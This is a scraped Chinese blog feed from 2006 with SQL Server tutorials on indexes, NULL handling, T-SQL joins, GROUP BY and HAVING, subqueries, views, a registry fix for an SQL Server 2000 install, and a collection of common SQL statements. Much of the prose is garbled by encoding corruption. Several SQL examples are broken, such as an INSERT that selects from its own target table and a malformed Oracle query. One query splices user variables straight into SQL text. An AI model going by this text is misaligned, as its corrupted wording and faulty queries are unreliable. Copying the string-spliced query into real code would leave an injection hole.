从以上试验中�Q�我们可以看到如果仅用聚集烦引的起始列作为查询条件和同时用到复合聚集索引的全部列的查询速度是几乎一��L��Q�甚��x��用上全部的复合烦引列�q�要略快�Q�在查询�l�果集数目一��L��情况下）�Q�而如果仅用复合聚集烦引的非�v始列作�ؓ查询条�g的话�Q�这个烦引是不�v��M��作用的。当�Ӟ��语句1�?的查询速度一��h��因�ؓ查询的条目数一��P��如果复合索引的所有列都用上，而且查询�l�果��的话，�q�样��׃��形成“烦引覆盖”，因而性能可以辑ֈ�最优。同�Ӟ��误��住：无论您是否经�怋�用聚合烦引的其他列，但其前导列一定要是��用最频繁的列�?
评论Feed: http://77521.cn/feed.asp?q=comment&id=173
引用链接: http://77521.cn/trackback.asp?id=173

liaojiyong 2006-09-27 18:00 发表评论

SQL Server的空值处理策�?

liaojiyong — Fri, 15 Sep 2006 02:22:00 GMT

大多数集合函数都能在计算时消除空��|��COUNT函数则属于例外。对包含�I�值的一个列使用COUNT函数�Q�空��g��从计��中消除。但假如COUNT函数使用一个星��P��它就计算所有行�Q�而不��是否存在空倹{�?/p>

如果希望COUNT函数对给定列的所有行�Q�包括空��|��q�行计数�Q�请使用ISNULL函数。ISNULL函数会将�I�值替换成有效的倹{�?br />

事实上，寚w��合函数来��_��如果�I�值可能导致错误结果，ISNULL函数��非常有用。记住在使用一个星��h��Q�COUNT函数会对所有行�q�行计算。下例演�C�Z��I�值在AVG和COUNT集合函数中的影响�Q?

    SET NOCOUNT ON

    GO

    CREATE TABLE xCount

    (pkey1 INT IDENTITY NOT NULL

        CONSTRAINT pk_xCount PRIMARY KEY,

    Col1 int NULL)

    GO

    INSERT xCount (Col1) VALUES (10)

    GO

    INSERT xCount (Col1) VALUES (15)

    GO

    INSERT xCount (Col1) VALUES (20)

    GO

    INSERT xCount (Col1) VALUES (NULL)

    GO

    SELECT AVG(Col1) AvgWithoutIsNullFunctionOnCol1,

    AVG(ISNULL(Col1,0)) AvgWithIsNullFunctionOnCol1,

    COUNT(Col1) NoIsNullFunctionOnCol1 ,

    COUNT(ISNULL(Col1,0)) UsingIsNullFunctionOnCol1,

    Count(*) UsingAsterisk

    FROM xCount

    GO

    DROP TABLE xCount

    GO


    OUTPUT:

AvgWOIsNullFnctnCol1 AvgWIsNullFnctnCol1 WOIsNullFnctnCol1

WIsNullFnctnCol1 UsingAsterisk

 ---------------- ------------- -------------- ------------  ---------

15             11                3           4         4

恰当使用�I�����?/pre>
						SQL Server可能出现一�U�特�D�情况：在引用父表的一个表中，因�ؓ不允许空��|��所以“声明引用完整性”（DRI�Q�可能不会得到强制。即使父表不包含�I���|��在子表引用了父表主键�U�束或惟一�U�束的列中，也可能包含空倹{�?br />
				假如来自父表的值目前未知，��׃��会有��M��问题。例如，父表可能是一个地址表，而子表可能包含联�p�M��息。由于许多原因，可能暂时不知道要传给父表的联�p�d��址。这是一�U�基于时间的问题�Q�空值在其中或许是合适的�?/p>
				
如下例所�C�，我们创徏父表�Q��ƈ在其中插入两个倹{�?/p>
				
 SET NOCOUNT ON

    GO
CREATE TABLE Parent
(pkey1 INT IDENTITY NOT NULL
    CONSTRAINT pkParent PRIMARY KEY,
col1 INT NULL)
GO
INSERT Parent (col1) VALUES (284)
GO
INSERT Parent (col1) VALUES (326)
GO
 

				
以下代码则创建子表，�q�在引用父表的列中插入一个空倹{�?
 CREATE TABLE Child

    (pkey1 INT IDENTITY
CONSTRAINT pkChild PRIMARY KEY,
Parentpkey1 INT NULL
CONSTRAINT fkChildParent FOREIGN KEY
REFERENCES Parent(pkey1),
col1 INT NULL)
GO
INSERT Child (Parentpkey1, col1) VALUES (null,2)
GO
 
但在以下代码中，要同时从父表和子表选择倹{��虽然父表不包含�I���|��但在子表引用了父表的那个列中�Q�将允许一个空倹{�?br />
然后丢弃所有表�Q�清除这个演�C�所用的数据库对象�?br />
 SELECT * FROM Child
GO
SELECT * FROM Parent
GO
DROP TABLE Child, Parent
GO





���查数据有效�?/td>
在可以�ؓ�I�的外键中检查数据的有效�?/h5>
<a target="_top" ></a>
如果�׃��个列共同�l�成主键�Q�而且一个子表将主键作�ؓ可�ؓ�I�值的外键来��承，���可能得到错误的数据。可在一个外键列中插入有效的��|��但在另一个外键列中插入空倹{��然后，可添加一个数据表���查约束，在可为空的外键中���查数据的有效性�?/p>
��M��多列外键都可能遇到同��L��问题。所以，你需要添加一个检查约束来������异常。最初，���查约束将���查构成外键的所有列中可能�ؓ�I�的倹{��检查约束还要检查这些列中不能�ؓ�I�的倹{��如两个���查都通过�Q�问题就解决了�?/p>
以下�C����脚本展示了这��L��一个异常，以及如何用检查约束来�U�正它�?br />
     
SET NOCOUNT ON
GO
CREATE TABLE parent (pkey1 INT IDENTITY NOT NULL, pkey2 INT
NOT NULL, col1 INT NULL,
CONSTRAINT pk_parent PRIMARY KEY NONCLUSTERED ( pkey1, pkey2))
GO
INSERT parent (pkey2) VALUES ( 2 )
INSERT parent (pkey2) VALUES ( 85 )
INSERT parent (pkey2) VALUES ( 41 )
INSERT parent (pkey2) VALUES ( 11 )
GO
SELECT * FROM parent
GO
CREATE TABLE child (cpkey1 INT IDENTITY NOT NULL
CONSTRAINT pk_child PRIMARY KEY NONCLUSTERED (cpkey1),
pkey1 INT NULL, pkey2 INT NULL, col1 INT NULL,
CONSTRAINT fk_parent_child FOREIGN KEY (pkey1, pkey2)
REFERENCES parent (pkey1, pkey2))
GO
INSERT child (pkey1, pkey2) VALUES ( null, 85 )
GO
SELECT * FROM child
GO
DELETE child
GO
ALTER TABLE child WITH NOCHECK
ADD CONSTRAINT ck_fk_parent_child CHECK
((pkey1 IS NOT NULL AND pkey2 IS NOT NULL) OR
(pkey1 IS NULL AND pkey2 IS NULL) )
GO
INSERT child (pkey1, pkey2) VALUES ( null, 11 )
GO
DROP TABLE child, parent
GO
 

�I�值是所有数据库开发者和���理员都要遇到的。所以，要想开发成功的应用�E�序�Q�必��ȝ��道如何处理这些倹{��本文和你分享了�I�值处理的一些技巧和技术�?





















liaojiyong 2006-09-15 10:22 发表评论

transact---sql高��查询

liaojiyong — Thu, 14 Sep 2006 00:49:00 GMT

transact---sql高��查询�Q�上�Q?br />1:多表的查询和�W�卡儿积
2:表格别名的用�?br />3:使用sql server的统计函�?br />4:用group by子句实现分组的查�?/p>

A:多表查询和笛��儿�U?br />到目前�ؓ�?我们所用的都是单个表查�?但是在更多的情况的下,需要对多个表进行同时查�?�q�时可以把多个表的名字全部填写在from子句�?
比如:查询出每个职工的姓名,学历,所在部门名�U?�׃��我们需要的�l�果来自于两个表,所以必��ȝ��多表查询
select 姓名,学历,部门名称,负责�?from work,部门 [分析��Z��么是错误的]
原因:问题出在对表��D��接条件的限制�?在上面的语句�?没能对表��D��接条件作��M��限制,所以sql会在work表中每取��Z��条记�?��׃��部门表中的所有记录组合一��?那么假设work表有m条记�?而部门表中有n条记�?则得出的�l�果为m*n条记录这��是�W�尔儿积,所以笛��儿�U�返回的大多数的�l�果是冗余的、无用的,所以应该避免笛��儿�U�的产生.
解决�W�尔儿积的方�?事实上由于笛��儿�U�是因�ؓ两个表的�q�接条�g没有限制造成�?所以只要我们对两个表的�q�接�q�行条�g限制,��可以避免笛��儿�U�的产生.可以通过一个where子句,来连接两个表的公��q��字段��可以了.
所以将上面的语句改�?select 姓名,学历,部门名称,负责�?from work,部门 where work.部门�~�号=部门.部门�~�号

B:使用表格的别�?br /> A:当��用多个表�q�行查询�?如果有两个表中有相同的列,应该指明选中的是哪个表中的列.
    比如:在work表检索出在address表中都有的职工的职工�?姓名,学历,基本工资
         select 职工�?姓名,学历,基本工资 from work,address where work.职工�?address.职工�?br />         上面的语句是错误�?原因是对于work和address表都有职工号,姓名�?所以应该指明是哪个表的职工号和姓名.
    �Ҏ��:select work.职工�?work.姓名,学历,基本工资 from work,address where work.职工�?address.职工�?br />    或�?select address.职工�?address.姓名,学历,基本工资 from work,address where work.职工�?address.职工�?br />    想一�?��Z��么对于学�?基本工资没有指明表名:�?work.学历,work.基本工资[只有一个表有这些列]
B:允许使用别名来访问表.
    格式:1:表名 as 别名
         2:表名别名
    例如:上面的语句可改写�?
         select w.职工�?w.姓名,学历,基本工资 from work as w,address as a where w.职工�?a.职工�?
上面的语句中在from中引用两个表,�q�且��work指明了别名w,��address指明了别名a,所以就可以用w来代表work�?用a来代表address�?或者省略as直接�Ҏ��:select w.职工�?w.姓名,学历,基本工资 from work w,address a where w.职工�?a.职工�?
C:如果使用了别�?则以后所有查询语句中,都必��M��用别名列
    比如:select work.职工�?work.姓名,学历,基本工资 from work w,address a where w.职工�?a.职工�?[是错误的]

C:使用�l�计函数:
sql跟我们提供了以下几个�l�计函数:
     sum:�q�回一个数字列的��d��
     avg:对一个数字列求��^均�?br />     min:对一个数字列求最��?br />     max:对一个数字列求最大�?br />     count:�q�回满��select语句中指定的条�g的记录个�?br />      丑ֈ�:1:求出work表中所有男职工的基本工资的�?br />             select sum(基本工资) as 性别为男的基本工�?from work where 性别=\'男\'
           2:求出work表中所有职�U�是�l�理的最高工资和最低工�?�q�_��工资
             select max(基本工资) as 最高工�?min(基本工资) as 最低工�?avg(�q�_��工资) as �q�_��工资 from work
           3:与统计函��C��起��用distinct关键字[通常只与count函数使用]
             �?1:��索出work表中学历的个�?br />                  select count(学历) from work
                2:��索出work表中学历的种�cȝ��个数
                  select count(distinct 学历) from work
                  试一�?select distinct count(学历) from work 可行�?
                3:有work和部门表,��索出在销售部工作的员工的个数
                  select \'销售部的�h数\'=count(职工�? from work a,部门 b
                  where a.部门�~�号=b.部门�~�号 and b.部门名称=\'销售部\'
                4:在work表中��索出其基本工资小于职工��^均工资的人数
                  select count(职工�? as 人数 from work
                  where 基本工资<(select avg(基本工资) from work)
                5:有学�U�表和学费表,从学费表��索出有多��个学网��设计的�?br />                  select count(学号) as �|�页设计的�h�?from 学费 a,学科 b
                  where a.所学专业代�?b.评��~�号 and b.评��名称=\'�|�页设计\'

D:使用group by子句对结果进行分�c�[只用于统计函数]
    丑ֈ�:1:��索出work表各职称的�h�?
           select 职称,count(职称) as 职称人数 from work group by 职称
         2:��索出各学历的�q�_��工资.
           select 学历,avg(基本工资) from work group by 学历
         3:有学�U�表和学费表,要求�l�计出各学科的学生数�?
           select 所学专业代�?count(所学专业代�? as 人数 into #abc from 学费 group by 所学专业代�?br />           select 评��名称,人数 from #abc,学科 where 所学专业代�?评��~�号
         4:有职工表和商品销售表,要求��索出每个职工的职工号,姓名,销售总量.
           select 职工�?sum(销售量) as 销售总量 into #abcd from 商品销�?group by 职工�?br />           select 职工.职工�?姓名,销售总量 from 职工,#abcd where #abcd.职工�?职工.职工�?br />         5:查询出每个部门最高的基本工资,昄��部门名称和最高基本工�?br />           select 部门名称,max(基本工资) from work group by 部门名称
           说明:1:在group by中不支持对列名的分配的别�?br />                   select 学历 as 职工学历,count(学历) from work group by 职工学历 [错错]
                   改�ؓ:select 学历 as 职工学历,count(学历) from work group by 学历
                2:select后面每一列数据除了在�l�计函数中的列以外都必须在group by子句出现
                   比如:select 学历,性别,sum(基本工资) from work group by 学历[错错]
                   改�ؓ:select 学历,性别,sum(基本工资) from work group by 学历,性别
                   意义:各学历各性别的基本工资之�?br />

transact---sql高��查询�Q�下�Q?br />5:使用having关键字来�{�选结�?br />6:使用compute和compute by子句
7:使用嵌套查询
8:分布式查�?/p>

E:使用having关键字来�{�选结�?br />    当完成对数据�l�果的查询和�l�计�?可以使用having关键字来�Ҏ��询和计算的结果进行一步的�{��?br />      �?��索出work表中学历是大专或者是中专的�h�?br />          select 学历,count(学历) from work group by 学历 having 学历 in(\'大专\',\'中专\')
          说明:1:having关键字都与group by用在一�?
               2:having不支持对列分配的别名
          例如:select 学历,\'大于5的�h数\'=count(学历) from work group by 学历 having 大于5的�h�?gt;5 [错错]
          改�ؓ:select 学历,\'大于5的�h数\'=count(学历) from work group by 学历 having count(学历)>5

F:使用compute和compute by
使用compute子句允许同时观察查询所得到各列的数据的�l�节以及�l�计各列数据所产生的汇��d��
      select * from work [查询所得到的各列的数据的细节]
      compute max(基本工资),min(基本工资) [�l�计之后的结果]
�q�个例子中没有��用by关键�?�q�回的结果是最后添加了一行基本工资的最大值和最��?也可增加by关键�?
        �?select * from work order by 学历
           compute max(基本工资),min(基本工资) by 学历
        比较:select 学历,max(基本工资),min(基本工资) from work group by 学历
        说明:1:compute子句必须与order by子句用在一�?br />             2:compute子句可以�q�回多种�l�果�?一�U�是体现数据�l�节的数据集,可以按分�c�要求进行正��的分类�Q�另一�U�在分类的基��上进行汇��M�生结�?
             3:而group by子句�Ҏ��一�c�L��据分�c�M��后只能��生一个结�?不能知道�l�节

G:使用嵌套查询
查询中再查询,通常是以一个查询作为条件来供另一个查询��?br />      �?有work表和部门�?br />         A:��索出在部门表中登记的所有部门的职工基本资料
           select * from work where 部门�~�号 in [not in](select 部门�~�号 from dbo.部门)
         B:��索出在work表中每一个部门的最高基本工资的职工资料
           select * from work a where 基本工资=(select max(基本工资) from work b where a.部门名称=b.部门名称)
           说明:由外查询提供一个部门名�U�给内查�?内查询利用这个部门名�U�找到该部门的最高基本工�?然后外查询根据基本工资判断是否等于最高工�?如果是的,则显�C�出�?
           相当�?select * from work,(select 部门名称,max(基本工资) as 基本工资 from work group by 部门名称 as t) where work.基本工资=t.基本工资 and work.部门名称=t.部门名称
         C:用嵌套work表和嵌套部门�?在嵌套work表中��索出姓名和职工号都在嵌套部门存在的职工资�?
           select * from 嵌套work where 职工�?in (select 职工�?from 嵌套部门) and 姓名 in (select 姓名 from 嵌套部门) [察看�l�果,分析原因]
           �?select * from 嵌套work a,嵌套部门 b where a.职工�?b.职工�?and a.姓名=b.姓名
           �?select * from 嵌套work where 职工�?(select 职工�?from 嵌套部门) and 姓名=(select 姓名 from 嵌套部门) [行吗?��Z��?分析原因?]

在嵌套中使用exists关键字[存在]
�?1:用嵌套work表和嵌套部门�?在嵌套work表中��索出姓名和职工号都在嵌套部门存在的职工资�?
     select * from 嵌套work a where exists (select * from 嵌套部门 b where a.姓名=b.姓名 and a.职工�?b.职工�?
   2:在work表检索出在部门表没有的职�?br />     select * from work where not exists (select * from 部门 where 部门.部门�~�号=work.部门�~�号)
     能否�Ҏ��:select * from work where exists (select * from 部门 where 部门.部门�~�号<>work.部门�~�号)

在列清单中��用select
�?1:在work1表和部门表中��索出所有部门的部门名称和基本工资��d��
    select 部门名称,(select sum(基本工资) from work1 b where a.部门�~�号=b.部门�~�号) from 部门 a
   2:��索各部门的职工�h�?br />    select 部门�~�号,部门名称,(select count(职工�? from work1 a where a.部门�~�号=b.部门�~�号) as 人数 from 部门 b
   3:在商品表和销售表中查询每一职工的姓�?所属部�?销售总量
    select 姓名,所属部�?(select sum(销售量) from 商品销�?a where a.职工�?b.职工�? as 销售总量 from 嵌套部门 b

H:分布式查�?br />我们以前的查询都只是��Z��一个服务器中的一个数据库的查�?如果一个查询是要跨��一个服务器,像这��L��查询��是分布式查�?那么我们以看到分布查询就是数据源自于两个服务�?要进行分布式查询必须先创��Z��个“链接服务器�?以便让本地的用户能够映射到过�E�服务器.
“链接服务器”的创立
     A:在“链接服务器”里面输入以后�ؓ了方便访问该链接服务器的名称[��L��]
     B:在“提供程序名�U�”里面选择“Microsoft OLE DB Provider for SQL Server�?br />     C:在“数据源”里面输入服务器的网�l�名
     D:本地��d��,�q�程用户和远�E�密码里面分别输入一个本地登录用�?�q�程��d��和远�E�密码以便让本地SQL Server��d��映射为链接服务器上的用户
     E:讉K��Ҏ��:格式:链接服务器的名称.数据库名.dbo.表名
       链接服务器有两个特点:
           1:通过链接服务器不能删除链接源服务器的��M��对像.
           2:能过链接服务器可以对链接源服务器的表�q�行insert,updae,delete操作.

视图
1:什么是视图
2:视图和查询的区别
3:视图的优�?br />4:如何创徏和管理视�?br />5:如何通过视图修改基本表的数据
6:如何通过视图实现数据的安全�?/p>

A:什么是视图:
视图(view):从一个或几个基本表中�Ҏ��用户需要而做成一个虚�?br /> 1:视图是虚�?它在存储时只存储视图的定�?而没有存储对应的数据
2:视图只在刚刚打开的一瞬间,通过定义从基表中搜集数据,�q�展现给用户

B:视图与查询的区别:
视图和查询都是用由sql语句�l�成,�q�是他们相同的地�?但是视图和查询有着本质区别:
它们的区别在�?1:存储上的区别:视图存储为数据库设计的一部分,而查询则不是.
              2:更新限制的要求不一�?br />                要注�?因�ؓ视图来自于表,所以通过视图可以间接对表�q�行更新,我们也可以通过update语句对表�q�行更新,但是对视囑֒�查询更新限制是不同的,以下我们会知道虽焉��过视图可以间接更新表但是有很多限制.
              3:排序�l�果:通过sql语句,可以对一个表�q�行排序,而视囑ֈ�不行.
                比如:创徏一个含有order by子句的视�?看一下可以成功吗?

C:视图的优�?
��Z��么有了表�q�要引入视图呢？�q�是因�ؓ视图��h��以下几个优点:
1:能分割数�?��化观�?br /> 可以通过select和where来定义视�?从而可以分割数据基表中某些对于用户不关心的数据,使用��h��注意力集中到所兛_��的数据列.�q�一步简化浏览数据工�?
2:为数据提供一定的逻辑独立�?br /> 如果为某一个基表定义一个视�?即��以后基本表的内容的发生改变了也不会媄响“视囑֮�义”所得到的数�?br />3:提供自动的安全保护功�?br /> 视图能像基本表一��h��予或撤消讉K��许可�?
4:视图可以间接对表�q�行更新,因此视图的更新就是表的更�?/p>

D:视图的创建和��理
视图的创�?br /> 1:通过sql语句
    格式:create view 视图�?as select 语句
         试一�?分别创徏关于一个表或多个表的视图[因�ؓ视图可以来自于多表]
2:通过企业��理器 �?
    说明:1:在完成视囄��创立之后,��可以像使用基本表一��h��使用视图
         2:在创��图时,�q��所有的select子查询都可用
           �?compute和compute by,order by[除非与top一赯��用]
         3:但在查询�?依然都可以用在创建时��用的select子查�?br />         4:在视囑ֈ�建时,必须为没有标题列指定标题[思�?能否不用select语句来创��Z��个视图]

视图的删�?
1:通过sql语句:drop view 视图�?br /> 2:通过企业��理�?br />    说明:与删除表不同的是,删除视图后只是删除了视图了定�?�q�没有删除表中的数据.[查看相关性]

修改视图的定�?br /> 1:通过企业��理�?br /> 2:通过sql语句:
    格式:alter view 视图�?as 新的select语句

��览视图信息 sp_helptext 视图�?[查看视图创徏的语句]

E:如何通过视图修改基本表的数据.
1:在视图上使用insert语句
    通过视图插入数据与直接在表中插入数据一�?但视图毕竟不是基本表.因此在进行数据插入时�q�是有一定的限制
      1:如果视图上没有包括基本表中属性�ؓnot null[不能为空]的列,那么插入操作会因为那些列是null��D��失�?
      2:如果某些列因为某些规则或�U�束的限制而不能直接接受从视图插入的列�?插入会失�?br />      3:如果在视图中包含了��用统计函数的�l�果,或是包含计算�?则插入操作会��p�|
      4:不能在��用了distinct语句的视图中插入�?br />      5:不能在��用了group by语句的视图中插入�?/p>

2:使用update更新视图中的数据
       1:更新视图与更新表��g��?但是在视图中使用了多个基本表�q�接的情况下,每次更新操作只能更新来自基本表的一个数据列
         例如:创徏以下视图:create view del as
                          select 职工�?姓名,部门名称,负责�?from work1,部门
                          where work1.部门�~�号=部门.部门�~�号
              如果再执行下面的语句�?
                        update del set 职工�?\'001\',部门名称=\'wenda\' where 职工�?\'01\'[出现错误]
              只能够改�?update del set 职工�?\'001\' where 职工�?\'01\'
                        update del set 部门名称=\'wenda\' where 职工�?\'01\'
       2:不能在��用了distinct语句的视图中更新�?br />       3:不能在��用了group by语句的视图中更新�?br />
3:使用delete删除视图中数�?
    通过视图删除数据最�l�体��Cؓ从基本表中删除数�?br />    格式:delete 视图�?[where 条�g]
    说明:当视囄��两个以上的基表构成时,不允许删除视囄��数据
    例如:��Z��个视图kk
         create view kk as
         select 职工�?姓名,性别,部门名称 from work1,部门 where work1.部门�~�号=部门.部门�~�号 [试着��d��除]

    使用with check option的视�?br />    如果不了解视囑֮�义内�?则常�怼�发生向视图中输入不符合视囑֮�义的数据的情�?
    比如:create view xm as
         select * from work where 性别=\'男\'
         完全可以插入insert xm values(\'001\',\'女\',23,\'2400\'....)
��管从意义上来说是不合理�?但是上述语句是正��的.��Z��防止�q�种情况的发�?可以使用with check option子句来对插入的或更改的数据进行限�?
    比如:create view xm as
         select * from work where 性别=\'男\' with check option

    使用schemabinding的视图[使用�l�定到构架]
我们知道视图是依赖于�?如果在一个表中创��Z��个视�?今后如果�q�个表被删除�?则这个视囑ְ�不可再用�?��Z��防止用户删除一个有视图在引用的�?可以在创��囄��时候加上schemabinding关键�?
    比如:create view 基本工资 with SCHEMABINDING
         as select 姓名,性别,基本工资 from dbo.work
    说明:1:不能使用�?”来创徏此类型的视图
         2:创徏此类型的视图�?一定要加上dbo.表名.
         3:如果在某个表中定义了此类视图,则用户将不能对表的结构进行修�?否则会删除这些绑�?br />         4:如果用户对表的结构进行列改名,则会删除�l�定而且视图不可�?
         5:如果用户对表的结构进行列的类型或者大��修�?则会删除�l�定但视囑֏��?此时用户可以删除视图所引用的表.

    使用with encryption对视图进行加�?br />��Z��保护创徏视图定义的原代码,可以对视图进行加�?
    比如:create view kk with encryption
         as select * from work where 职称=\'�l�理\'
    用sp_helptext来查看一�?或用企业��理器查看一�?
    说明:如果应用此项用户��无法设计视�?/p>

F:使用视图加强数据的安�?br /> 一般通过使用视图共有三种途径加强数据的安全性   �?
     A:对不同用��h��予不同的使用�?
     B:通过使用select子句限制用户�Ҏ��些底层基表的列的讉K��
     C:通过使用where子句限制用户�Ҏ��些底层基表的行的讉K��
对不同用��h��予不同的权限

�q�接查询

通过�q�接�q�算�W�可以实现多个表查询。连接是关系数据库模型的主要特点�Q�也是它区别于其它类型数据库��理�pȝ��的一个标志�?

在关�p�L��据库��理�pȝ��中，表徏立时各数据之间的关系不必��定�Q�常把一个实体的所有信息存攑֜�一个表中。当��索数据时�Q�通过�q�接操作查询出存攑֜�多个表中的不同实体的信息。连接操作给用户带来很大的灵�z�L��，他们可以在�Q何时候增加新的数据类型。�ؓ不同实体创徏新的表，��后通过�q�接�q�行查询�?

�q�接可以在SELECT 语句的FROM子句或WHERE子句中徏立，似是而非在FROM子句中指��接时有助于将�q�接操作与WHERE子句中的搜烦条�g区分开来。所以，在Transact-SQL中推荐��用这�U�方法�?

SQL-92标准所定义的FROM子句的连接语法格式�ؓ�Q?

FROM join_table join_type join_table

[ON (join_condition)]

其中join_table指出参与�q�接操作的表名，�q�接可以对同一个表操作�Q�也可以对多表操作，对同一个表操作的连接又�U�做自连接�?

join_type 指出�q�接�c�d��Q�可分�ؓ三种�Q�内�q�接、外�q�接和交叉连接。内�q�接(INNER JOIN)使用比较�q�算�W�进行表间某(�?列数据的比较操作�Q��ƈ列出�q�些表中与连接条件相匚w��的数据行。根据所使用的比较方式不同，内连接又分�ؓ�{��D��接、自然连接和不等�q�接三种�?

外连接分为左外连�?LEFT OUTER JOIN或LEFT JOIN)、右外连�?RIGHT OUTER JOIN或RIGHT JOIN)和全外连�?FULL OUTER JOIN或FULL JOIN)三种。与内连接不同的是，外连接不只列��Z��q�接条�g相匹配的行，而是列出左表(左外�q�接�?、右�?叛_��q�接�?或两个表(全外�q�接�?中所有符合搜索条件的数据行�?

交叉�q�接(CROSS JOIN)没有WHERE 子句�Q�它�q�回�q�接表中所有数据行的笛卡尔�U�，其结果集合中的数据行数等于第一个表中符合查询条件的数据行数乘以�W�二个表中符合查询条件的数据行数�?

�q�接操作中的ON (join_condition) 子句指出�q�接条�g�Q�它��p��q�接表中的列和比较运��符、逻辑�q�算�W�等构成�?

无论哪种�q�接都不能对text、ntext和image数据�c�d��列进行直接连接，但可以对�q�三�U�列�q�行间接�q�接。例如：

SELECT p1.pub_id,p2.pub_id,p1.pr_info

FROM pub_info AS p1 INNER JOIN pub_info AS p2

ON DATALENGTH(p1.pr_info)=DATALENGTH(p2.pr_info)

(一)内连�?

内连接查询操作列��Z��q�接条�g匚w��的数据行�Q�它使用比较�q�算�W�比较被�q�接列的列倹{��内�q�接分三�U�：

1、等��D��接：在连接条件中使用�{�于�?=)�q�算�W�比较被�q�接列的列��|��其查询结果中列出被连接表中的所有列�Q�包括其中的重复列�?

2、不�{�连接：在连接条件��用除�{�于�q�算�W�以外的其它比较�q�算�W�比较被�q�接的列的列倹{��这些运��符包括>�?gt;=�?lt;=�?lt;�?>�?<�?lt;>�?

3、自然连接：在连接条件中使用�{�于(=)�q�算�W�比较被�q�接列的列��|��但它使用选择列表指出查询�l�果集合中所包括的列�Q��ƈ删除�q�接表中的重复列�?

例，下面使用�{��D��接列出authors和publishers表中位于同一城市的作者和出版�C�：

SELECT *

FROM authors AS a INNER JOIN publishers AS p

ON a.city=p.city

又如使用自然�q�接�Q�在选择列表中删除authors 和publishers 表中重复�?city和state)�Q?

SELECT a.*,p.pub_id,p.pub_name,p.country

FROM authors AS a INNER JOIN publishers AS p

ON a.city=p.city

(�?外连�?

内连接时�Q�返回查询结果集合中的仅是符合查询条�? WHERE 搜烦条�g�?HAVING 条�g)和连接条件的行。而采用外�q�接�Ӟ��它返回到查询�l�果集合中的不仅包含�W�合�q�接条�g的行�Q�而且�q�包括左�?左外�q�接�?、右�?叛_��q�接�?或两个边接表(全外�q�接)中的所有数据行�?

如下面��用左外连接将论坛内容和作者信息连接�v来：

SELECT a.*,b.* FROM luntan LEFT JOIN usertable as b

ON a.username=b.username

下面使用全外�q�接��city表中的所有作者以及user表中的所有作者，以及他们所在的城市�Q?

SELECT a.*,b.*

FROM city as a FULL OUTER JOIN user as b

ON a.username=b.username

(�?交叉�q�接

交叉�q�接不带WHERE 子句�Q�它�q�回被连接的两个表所有数据行的笛卡尔�U�，�q�回到结果集合中的数据行数等于第一个表中符合查询条件的数据行数乘以�W�二个表中符合查询条件的数据行数�?

例，titles表中�?�c�d��书，而publishers表中�?家出版社�Q�则下列交叉�q�接��索到的记录数��等

�?*8=48行�?

SELECT type,pub_name

FROM titles CROSS JOIN publishers

ORDER BY typ

liaojiyong 2006-09-14 08:49 发表评论

SQL Server安装文�g挂�v错误解决办法

liaojiyong — Wed, 31 May 2006 03:04:00 GMT

　刚开始��用SQL Server 2000�Q�就�l�了我一个下马威。不�q�最�l�还是解决了。具体情况和解决�Ҏ��:
　　安装SQL Server 2000的操作系�l�是Windows 2000 Profession Edition,安装��体中文标准版。会提示该版本的操作�pȝ��不能安装服务器组�Ӟ��只能安装SQL Server 2000个�h版。于是退出，选择安装个�h版。却出现了新的错误：
　　“以前的某个�E�序安装已在安装计算��Z��创徏挂�v的文件操作。运行安装程序之前必��重新启动计��机。�?br />　　接着按照提示重启计算机，再安装，仍然出现同样的提�C�。再�|�上查找相关资料�Q�得知是安装�E�序在先前的安装�q�程中在�pȝ��注册表留下某些信息，��D��不能安装。于是经�q�多�ơ试�Q�发现删除掉如下键��g��息即可安装：
　　在运行窗口输入regedit�Q�打开注册表编辑器�Q�在HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Session Manager中找到PendingFileRenameOperations�Q�删除该键��|��关闭注册表编辑器。重新安装SQL Server 2000�Q�哈哈，久违的安装界面终于��Q出水面了�?br />　　�q�个键值是安装�E�序暂挂��目�Q�只要找到对应的应用�E�序清除掉就行了�?img src ="http://www.aygfsteel.com/liaojiyong/aggbug/49198.html" width = "1" height = "1" />

liaojiyong 2006-05-31 11:04 发表评论

SQL �_�֦�语句�Q��{�Q?

liaojiyong — Wed, 24 May 2006 10:51:00 GMT

如何从一位菜鸟蜕变成为高手，灉|��使用的SQL语句是必不可��的。本文收集了部分比较�l�典�Q�常用的SQL语句供大家参考，希望对大家有所帮助�?有不懂之处，可与本�h留言�?br />
　　说明�Q�复制表(只复制结�?源表名：a 新表名：b)　　

　　SQL: select * into b from a where 1<>1

　　说明�Q�拷贝表(拯��数据,源表名：a 目标表名�Q�b)　　

　　SQL: insert into b(a, b, c) select d,e,f from b;

　　说明�Q�显�C�文章、提交�h和最后回复时间　　

　　SQL: select a.title,a.username,b.adddate from table a,(select max(adddate) adddate from table where table.title=a.title) b

　　说明�Q�外�q�接查询(表名1�Q�a 表名2�Q�b)　　

　　SQL: select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c

　　说明�Q�日�E�安排提前五分钟提醒　　

　　SQL: select * from 日程安排 where datediff('minute',f开始时�?getdate())>5　　

　　说明�Q�两张关联表�Q�删除主表中已经在副表中没有的信�?

　　SQL: 　　

　　delete from info where not exists ( select * from infobz where info.infid=infobz.infid

　　说明�Q?-

　　SQL: 　　

　　SELECT A.NUM, A.NAME, B.UPD_DATE, B.PREV_UPD_DATE

　　 FROM TABLE1,

　　 (SELECT X.NUM, X.UPD_DATE, Y.UPD_DATE PREV_UPD_DATE

　　 FROM (SELECT NUM, UPD_DATE, INBOUND_QTY, STOCK_ONHAND

　　 FROM TABLE2

　　 WHERE TO_CHAR(UPD_DATE,'YYYY/MM') = TO_CHAR(SYSDATE, 'YYYY/MM')) X,

　　 (SELECT NUM, UPD_DATE, STOCK_ONHAND

　　 FROM TABLE2

　　 WHERE TO_CHAR(UPD_DATE,'YYYY/MM') =

　　 TO_CHAR(TO_DATE(TO_CHAR(SYSDATE, 'YYYY/MM') ¦¦ '/01','YYYY/MM/DD') - 1, 'YYYY/MM') Y,

　　 WHERE X.NUM = Y.NUM �Q?�Q?

　　 AND X.INBOUND_QTY + NVL(Y.STOCK_ONHAND,0) <> X.STOCK_ONHAND B

　　WHERE A.NUM = B.NUM

　　说明�Q?-

　　SQL: 　　

　　select * from studentinfo where not exists(select * from student where studentinfo.id=student.id) and �p�d��U?'"&strdepartmentname&"' and 专业名称='"&strprofessionname&"' order by 性别,生源�?高考��L��l?

　　说明�Q?

　　从数据库中去一�q�的各单位电话费�l�计(电话费定额贺电化肥清单两个表来源�Q?

　　SQL: 　

　　SELECT a.userper, a.tel, a.standfee, TO_CHAR(a.telfeedate, 'yyyy') AS telyear,

